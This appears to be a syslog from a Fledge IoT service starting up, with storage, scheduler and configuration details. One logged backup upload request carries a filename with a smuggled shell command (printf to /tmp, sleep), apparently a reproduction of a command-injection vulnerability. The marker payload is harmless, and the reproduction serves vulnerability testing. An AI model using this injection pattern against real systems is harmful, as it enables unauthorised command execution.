Aug 5 14:58:17 ccadf51b8f17 Fledge [48] INFO: scripts.services.storage: Fledge storage microservice found in FLEDGE_ROOT location: /opt/fledge-stage/usr/local/fledge Aug 5 14:58:18 ccadf51b8f17 rsyslogd: imklog: cannot open kernel log (/proc/kmsg): Permission denied. Aug 5 14:58:18 ccadf51b8f17 rsyslogd: activation of module imklog failed [v8.2112.0 try https://www.rsyslog.com/e/2145 ] Aug 5 14:58:18 ccadf51b8f17 rsyslogd: rsyslogd's groupid changed to 101 Aug 5 14:58:18 ccadf51b8f17 rsyslogd: rsyslogd's userid changed to 101 Aug 5 14:58:18 ccadf51b8f17 rsyslogd: [origin software="rsyslogd" swVersion="8.2112.0" x-pid="11" x-info="https://www.rsyslog.com"] start Aug 5 14:58:22 ccadf51b8f17 Fledge Storage[60] INFO: script.plugin.storage.sqlite: SQLite 3 database '/var/lib/fledge/fledge.db' not found. Aug 5 14:58:22 ccadf51b8f17 Fledge Storage[58] INFO: script.plugin.storage.sqlite: SQLite3 database /var/lib/fledge/fledge.db has been created. Aug 5 14:58:22 ccadf51b8f17 Fledge Storage[65] INFO: script.plugin.storage.sqlite: SQLite 3 database '/var/lib/fledge/readings_1.db' not found. Aug 5 14:58:22 ccadf51b8f17 Fledge Storage[58] INFO: script.plugin.storage.sqlite: SQLite3 database /var/lib/fledge/readings_1.db has been created. Aug 5 14:58:22 ccadf51b8f17 Fledge Storage[58] INFO: script.plugin.storage.sqlite: Building the metadata for the Fledge Plugin 'sqlite' ... Aug 5 14:58:22 ccadf51b8f17 Fledge Storage[58] INFO: script.plugin.storage.sqlite: Build complete for Fledge Plugin 'sqlite in database '/var/lib/fledge/fledge.db'. Aug 5 14:58:22 ccadf51b8f17 Fledge Storage[58] INFO: script.plugin.storage.sqlite: Build complete for Fledge Plugin 'sqlite in database '/var/lib/fledge/readings_1.db'. Aug 5 14:58:22 ccadf51b8f17 Fledge Storage[58] INFO: script.plugin.storage.sqlite: Fledge DB version not found in fledge.'version', setting version [75] Aug 5 14:58:27 ccadf51b8f17 Fledge [98] INFO: scripts.services.storage: Fledge storage microservice found in FLEDGE_ROOT location: /opt/fledge-stage/usr/local/fledge Aug 5 14:58:32 ccadf51b8f17 Fledge [113] INFO: scripts.services.storage: Fledge storage microservice found in FLEDGE_ROOT location: /opt/fledge-stage/usr/local/fledge Aug 5 14:58:33 ccadf51b8f17 Fledge Storage[137] INFO: script.plugin.storage.sqlite: SQLite 3 database '/var/lib/fledge/fledge.db' ready. Aug 5 14:58:33 ccadf51b8f17 Fledge Storage[16] INFO: script.plugin.storage.sqlite: SQLite3 database is ready. Aug 5 14:58:33 ccadf51b8f17 Fledge Storage[140] INFO: script.plugin.storage.sqlite: SQLite 3 database '/var/lib/fledge/readings_1.db' ready. Aug 5 14:58:33 ccadf51b8f17 Fledge Storage[16] INFO: script.plugin.storage.sqlite: SQLite3 readings database is ready. Aug 5 14:58:33 ccadf51b8f17 Fledge Storage[16] INFO: script.plugin.storage.sqlite: Fledge DB schema is up to date to version [75] Aug 5 14:58:33 ccadf51b8f17 Fledge[155] INFO: server: fledge.services.core.server: Starting ... Aug 5 14:58:33 ccadf51b8f17 Fledge[155] INFO: server: fledge.services.core.server: Management API started on http://0.0.0.0:45915 Aug 5 14:58:33 ccadf51b8f17 Fledge[155] INFO: server: fledge.services.core.server: Start storage, from directory /opt/fledge-stage/usr/local/fledge/scripts Aug 5 14:58:33 ccadf51b8f17 Fledge [218] INFO: scripts.services.storage: Fledge storage microservice found in FLEDGE_ROOT location: /opt/fledge-stage/usr/local/fledge Aug 5 14:58:33 ccadf51b8f17 Fledge [218] INFO: scripts.services.storage: Fledge storage microservice found in FLEDGE_ROOT location: /opt/fledge-stage/usr/local/fledge Aug 5 14:58:34 ccadf51b8f17 Fledge[155] INFO: service_registry: fledge.services.core.service_registry.service_registry: Registered service instance id=8454f4a0-6383-4c1a-a17b-d74b4c9613f9: Aug 5 14:58:34 ccadf51b8f17 Fledge Storage[222]: ERROR: HTTP error while fetching configuration category for Storage: 404: No such Category found for Storage Aug 5 14:58:34 ccadf51b8f17 Fledge Storage[222]: ERROR: Failed to register configuration category: {"error": {"message": "[AttributeError] 'NoneType' object has no attribute 'register'"}}. Aug 5 14:58:36 ccadf51b8f17 Fledge Storage[222]: ERROR: Failed to register configuration category: {"error": {"message": "[AttributeError] 'NoneType' object has no attribute 'register'"}}. Aug 5 14:58:38 ccadf51b8f17 Fledge[155] INFO: server: fledge.services.core.server: Starting scheduler ... Aug 5 14:58:38 ccadf51b8f17 Fledge[155] INFO: server: fledge.services.core.server: Services monitoring started ... Aug 5 14:58:38 ccadf51b8f17 Fledge[155] INFO: server: fledge.services.core.server: Announce management API service Aug 5 14:58:39 ccadf51b8f17 Fledge[155] INFO: server: fledge.services.core.server: PID [155] written in [/var/lib/fledge/var/run/fledge.core.pid] Aug 5 14:58:39 ccadf51b8f17 Fledge[155] INFO: server: fledge.services.core.server: REST API Server started on http://0.0.0.0:8081 Aug 5 14:58:40 ccadf51b8f17 Fledge[155] INFO: service_registry: fledge.services.core.service_registry.service_registry: Registered service instance id=5002dde5-8c27-468d-9eb2-0fb918189fec: Aug 5 14:58:40 ccadf51b8f17 Fledge [315] INFO: scripts.services.storage: Fledge storage microservice found in FLEDGE_ROOT location: /opt/fledge-stage/usr/local/fledge Aug 5 14:58:40 ccadf51b8f17 Fledge [320] INFO: scripts.services.storage: Fledge storage microservice found in FLEDGE_ROOT location: /opt/fledge-stage/usr/local/fledge Aug 5 14:58:40 ccadf51b8f17 Fledge [329] INFO: scripts.services.storage: Fledge storage microservice found in FLEDGE_ROOT location: /opt/fledge-stage/usr/local/fledge Aug 5 14:58:40 ccadf51b8f17 Fledge Storage[367] INFO: script.plugin.storage.sqlite: SQLite 3 database '/opt/fledge-stage/usr/local/fledge/data/readings_1.db' not found. Aug 5 14:58:40 ccadf51b8f17 Fledge Storage[370] INFO: script.plugin.storage.sqlite: SQLite 3 database '/opt/fledge-stage/usr/local/fledge/data/readings_1.db' not found. Aug 5 14:58:40 ccadf51b8f17 Fledge Storage[361] ERROR: script.plugin.storage.sqlite: Error creating SQLite3 database /opt/fledge-stage/usr/local/fledge/data/readings_1.db: Error: unable to open database "/opt/fledge-stage/usr/local/fledge/data/readings_1.db": unable to open database file Aug 5 14:58:40 ccadf51b8f17 Fledge Storage[362] ERROR: script.plugin.storage.sqlite: Error creating SQLite3 database /opt/fledge-stage/usr/local/fledge/data/readings_1.db: Error: unable to open database "/opt/fledge-stage/usr/local/fledge/data/readings_1.db": unable to open database file Aug 5 14:58:40 ccadf51b8f17 fledge: ERROR: the backup functionality for the storage engine :: is not implemented. Aug 5 14:58:40 ccadf51b8f17 fledge: ERROR: the backup functionality for the storage engine :: is not implemented. Aug 5 14:58:41 ccadf51b8f17 Fledge [16] INFO: script.fledge: Fledge started. Aug 5 14:58:43 ccadf51b8f17 Fledge[155] DEBUG: configuration_manager: fledge.common.configuration_manager: Updated Configuration Cache {'Storage': {'date_accessed': datetime.datetime(2026, 8, 5, 14, 58, 40, 792658), 'description': 'Storage configuration', 'value': {'plugin': {'description': 'The main storage plugin to load', 'type': 'enumeration', 'order': '1', 'displayName': 'Storage Plugin', 'options': ['sqlitelb', 'sqlite', 'postgres'], 'default': 'sqlite', 'value': 'sqlite'}, 'readingPlugin': {'description': 'The storage plugin to load for readings data.', 'type': 'enumeration', 'order': '2', 'displayName': 'Readings Plugin', 'options': ['Use main plugin', 'sqlitememory', 'sqlitelb', 'sqlite', 'postgres'], 'default': 'Use main plugin', 'value': 'Use main plugin'}, 'threads': {'description': 'The number of threads to use for the storage API', 'type': 'integer', 'order': '3', 'displayName': 'Storage API threads', 'minimum': '1', 'maximum': '10', 'default': '1', 'value': '1'}, 'workerPool': {'description': 'The number of threads to create in the thread pool used to execute operations against reading data', 'type': 'integer', 'order': '4', 'displayName': 'Worker thread pool', 'minimum': '1', 'maximum': '10', 'default': '5', 'value': '5'}, 'managedStatus': {'description': 'Control if Fledge should manage the storage provider', 'type': 'boolean', 'order': '5', 'displayName': 'Manage Storage', 'default': 'false', 'value': 'false'}, 'port': {'description': 'The port to listen on', 'type': 'integer', 'order': '6', 'displayName': 'Service Port', 'default': '0', 'value': '0'}, 'managementPort': {'description': 'The management port to listen on.', 'type': 'integer', 'order': '7', 'displayName': 'Management Port', 'default': '0', 'value': '0'}, 'logLevel': {'description': 'Minimum level of messages to log', 'type': 'enumeration', 'order': '8', 'displayName': 'Log Level', 'options': ['error', 'warning', 'info', 'debug'], 'default': 'warning', 'value': 'warning'}, 'timeout': {'description': 'Server request timeout, expressed in seconds', 'type': 'integer', 'order': '9', 'displayName': 'Timeout', 'minimum': '5', 'maximum': '3600', 'default': '60', 'value': '60'}, 'perfmon': {'description': 'Track and store performance counters', 'type': 'boolean', 'order': '10', 'displayName': 'Performance Counters', 'default': 'false', 'value': 'false'}}, 'displayName': 'Storage', 'hit': 4}, 'Advanced': {'date_accessed': datetime.datetime(2026, 8, 5, 14, 58, 34, 302515), 'description': 'Advanced', 'value': {}, 'displayName': 'Advanced'}, 'CONFIGURATION': {'date_accessed': datetime.datetime(2026, 8, 5, 14, 58, 38, 279262), 'description': 'Core Configuration Manager', 'value': {'cacheSize': {'description': 'To control the caching size of Core Configuration Manager', 'type': 'integer', 'displayName': 'Cache Size', 'default': '30', 'order': '1', 'minimum': '1', 'maximum': '1000', 'value': '30'}}, 'displayName': 'Configuration Manager'}, 'LOGGING': {'date_accessed': datetime.datetime(2026, 8, 5, 14, 58, 43, 150318), 'description': 'Logging Level of Core Server', 'value': {'logLevel': {'description': 'Minimum logging level reported for Core server', 'type': 'enumeration', 'displayName': 'Minimum Log Level', 'options': ['debug', 'info', 'warning', 'error'], 'default': 'warning', 'order': '1', 'value': 'debug'}}, 'displayName': 'Logging'}, 'RESOURCE_LIMIT': {'date_accessed': datetime.datetime(2026, 8, 5, 14, 58, 38, 286478), 'description': 'Resource Limit of South Service', 'value': {'serviceBuffering': {'description': 'Buffering level for the South Service', 'type': 'enumeration', 'displayName': 'South Service Buffering', 'options': ['Unlimited', 'Limited'], 'default': 'Unlimited', 'order': '1', 'permissions': ['admin'], 'value': 'Unlimited'}, 'serviceBufferSize': {'description': 'Buffer size for the South Service', 'type': 'integer', 'displayName': 'South Service Buffer Size', 'minimum': '1000', 'default': '1000', 'order': '2', 'validity': 'serviceBuffering == "Limited"', 'permissions': ['admin'], 'value': '1000'}, 'discardPolicy': {'description': 'The different discard policies for the South Service', 'type': 'enumeration', 'displayName': 'Discard Policy', 'options': ['Discard Oldest', 'Reduce Fidelity', 'Discard Newest'], 'default': 'Discard Oldest', 'order': '3', 'validity': 'serviceBuffering == "Limited"', 'permissions': ['admin'], 'value': 'Discard Oldest'}}, 'displayName': 'Resource Limit'}, 'SCHEDULER': {'date_accessed': datetime.datetime(2026, 8, 5, 14, 58, 38, 292789), 'description': 'Scheduler configuration', 'value': {'max_running_tasks': {'description': 'Maximum number of tasks that can be running at any given time', 'type': 'integer', 'default': '50', 'displayName': 'Max Running Tasks', 'value': '50'}, 'max_completed_task_age_days': {'description': 'Maximum age in days (based on the start time) for a row in the tasks table that does not have a status of running', 'type': 'integer', 'default': '30', 'displayName': 'Max Age Of Task (In days)', 'value': '30'}}, 'displayName': 'Scheduler'}, 'SMNTR': {'date_accessed': datetime.datetime(2026, 8, 5, 14, 58, 38, 303952), 'description': 'Service Monitor', 'value': {'sleep_interval': {'description': 'Time in seconds to sleep between health checks. (must be greater than 5)', 'type': 'integer', 'default': '5', 'displayName': 'Health Check Interval (In seconds)', 'minimum': '5', 'value': '5'}, 'ping_timeout': {'description': 'Timeout for a response from any given micro-service. (must be greater than 0)', 'type': 'integer', 'default': '1', 'displayName': 'Ping Timeout', 'minimum': '1', 'maximum': '5', 'value': '1'}, 'max_attempts': {'description': 'Maximum number of attempts for finding a heartbeat of service', 'type': 'integer', 'default': '15', 'displayName': 'Max Attempts To Check Heartbeat', 'minimum': '1', 'value': '15'}, 'restart_failed': {'description': 'Restart failed microservice - manual/auto', 'type': 'enumeration', 'options': ['auto', 'manual'], 'default': 'auto', 'displayName': 'Restart Failed', 'value': 'auto'}}, 'displayName': 'Service Monitor'}, 'rest_api': {'date_accessed': datetime.datetime(2026, 8, 5, 14, 58, 42, 791713), 'description': 'Fledge Admin and User REST API', 'value': {'enableHttp': {'description': 'Enable HTTP (disable to use HTTPS)', 'type': 'boolean', 'default': 'true', 'displayName': 'Enable HTTP', 'order': '1', 'permissions': ['admin'], 'value': 'true'}, 'httpPort': {'description': 'Port to accept HTTP connections on', 'type': 'integer', 'default': '8081', 'displayName': 'HTTP Port', 'order': '2', 'permissions': ['admin'], 'value': '8081'}, 'httpsPort': {'description': 'Port to accept HTTPS connections on', 'type': 'integer', 'default': '1995', 'displayName': 'HTTPS Port', 'order': '3', 'validity': 'enableHttp=="false"', 'permissions': ['admin'], 'value': '1995'}, 'certificateName': {'description': 'Certificate file name', 'type': 'string', 'default': 'fledge', 'displayName': 'Certificate Name', 'order': '4', 'validity': 'enableHttp=="false"', 'permissions': ['admin'], 'value': 'fledge'}, 'authentication': {'description': 'API Call Authentication', 'type': 'enumeration', 'options': ['mandatory', 'optional'], 'default': 'mandatory', 'displayName': 'Authentication', 'order': '5', 'permissions': ['admin'], 'value': 'mandatory'}, 'authMethod': {'description': 'Authentication method', 'type': 'enumeration', 'options': ['any', 'password', 'certificate'], 'default': 'any', 'displayName': 'Authentication method', 'order': '6', 'permissions': ['admin'], 'value': 'any'}, 'authCertificateName': {'description': 'Auth Certificate name', 'type': 'string', 'default': 'ca', 'displayName': 'Auth Certificate', 'order': '7', 'permissions': ['admin'], 'value': 'ca'}, 'allowPing': {'description': 'Allow access to ping, regardless of the authentication required and authentication header', 'type': 'boolean', 'default': 'true', 'displayName': 'Allow Ping', 'order': '8', 'permissions': ['admin'], 'value': 'true'}, 'authProviders': {'description': 'Authentication providers to use for the interface (JSON array object)', 'type': 'JSON', 'defau Aug 5 14:58:43 ccadf51b8f17 Fledge[155] DEBUG: middleware: fledge.common.web.middleware: Received POST request for /fledge/backup/upload Aug 5 14:58:43 ccadf51b8f17 Fledge[155] DEBUG: backup_restore: fledge.services.core.api.backup_restore: upload_backup - temp_path :/var/lib/fledge/upload: file_name :fledge_backup_attack_2.tar.gz: Aug 5 14:58:43 ccadf51b8f17 Fledge[155] DEBUG: backup_restore: fledge.services.core.api.backup_restore: upload_backup patched control: source :/var/lib/fledge/upload/fledge_backup_2026_08_05_00_00_02.db;printf PRUVA_CVE_2026_71284_ATTEMPT_2 >/tmp/pruva_cve_2026_71284_attempt_2;sleep 2;#.db: - destination :/var/lib/fledge/backup: - filename :fledge_backup_2026_08_05_00_00_02.db;printf PRUVA_CVE_2026_71284_ATTEMPT_2 >/tmp/pruva_cve_2026_71284_attempt_2;sleep 2;#.db: Aug 5 14:58:43 ccadf51b8f17 Fledge[155] DEBUG: monitor: fledge.services.core.service_registry.monitor: Starting next round#2 of service monitoring, sleep/i:5 ping/t:1 max/a:15 Aug 5 14:58:43 ccadf51b8f17 Fledge[155] DEBUG: monitor: fledge.services.core.service_registry.monitor: Service: Fledge Storage Status: 1 Aug 5 14:58:43 ccadf51b8f17 Fledge[155] DEBUG: monitor: fledge.services.core.service_registry.monitor: Resolving pending notification for ACL change for service Fledge Storage Aug 5 14:58:43 ccadf51b8f17 Fledge[155] DEBUG: acl_manager: fledge.common.acl_manager: svc name Fledge Storage and pending notifications {} Aug 5 14:58:43 ccadf51b8f17 Fledge[155] DEBUG: monitor: fledge.services.core.service_registry.monitor: Service: Fledge Core Status: 1 Aug 5 14:58:43 ccadf51b8f17 Fledge[155] DEBUG: monitor: fledge.services.core.service_registry.monitor: Resolving pending notification for ACL change for service Fledge Core Aug 5 14:58:43 ccadf51b8f17 Fledge[155] DEBUG: acl_manager: fledge.common.acl_manager: svc name Fledge Core and pending notifications {} Aug 5 14:58:45 ccadf51b8f17 Fledge Storage[596] INFO: script.plugin.storage.sqlite: SQLite 3 database '/opt/fledge-stage/usr/local/fledge/data/readings_1.db' not found. Aug 5 14:58:45 ccadf51b8f17 Fledge Storage[593] ERROR: script.plugin.storage.sqlite: Error creating SQLite3 database /opt/fledge-stage/usr/local/fledge/data/readings_1.db: Error: unable to open database "/opt/fledge-stage/usr/local/fledge/data/readings_1.db": unable to open database file Aug 5 14:58:45 ccadf51b8f17 fledge: ERROR: the restore functionality for the storage engine :: is not implemented.